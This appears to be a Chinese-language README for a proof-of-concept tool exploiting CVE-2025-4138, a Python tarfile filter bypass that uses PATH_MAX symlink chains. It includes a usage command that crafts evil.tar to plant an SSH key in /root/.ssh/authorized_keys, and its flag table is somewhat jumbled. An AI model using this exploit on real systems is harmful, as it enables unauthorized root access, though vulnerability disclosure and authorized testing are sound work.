filter="data" 绕过通过 PATH_MAX 符号链接链在提取目录之外写入任意文件。
报告者:Caleb Brown (Google)
Python 的 tarfile 数据筛选器使用 os.path.realpath() 验证符号链接目标。当解析后的路径超过 PATH_MAX(Linux 上为 4096 字节)时,realpath() 会静默停止解析并追加剩余组件——包括 ../——作为字面字符串。筛选器看到的是安全路径,而内核遵循实际的遍历路径。
该漏洞构造了一个包含四个阶段的 tar 包:
a→ddd...,b→ddd...)。将解析后的路径膨胀到约 3968 字节。../ × 16。realpath() 溢出,无法解析。内核向回走到提取根目录。/,再向下到目标目录。ssh-keygen -t ed25519 -f /tmp/key -N ""
python3 CVE-2025-4138_tarfile_filter_bypass.py \
-o evil.tar \
-t /root/.ssh/authorized_keys \
-p /tmp/key.pub \
-m 0600
| 标志 | 描述 |
|---|---|
-o | 输出 tar 路径 |
-t |
仅限授权的安全测试和 CTF 使用。
| 目标上要写入文件的绝对路径 |
-p | 用作载荷内容的本地文件 |
-m | 八进制文件权限(默认:0644) |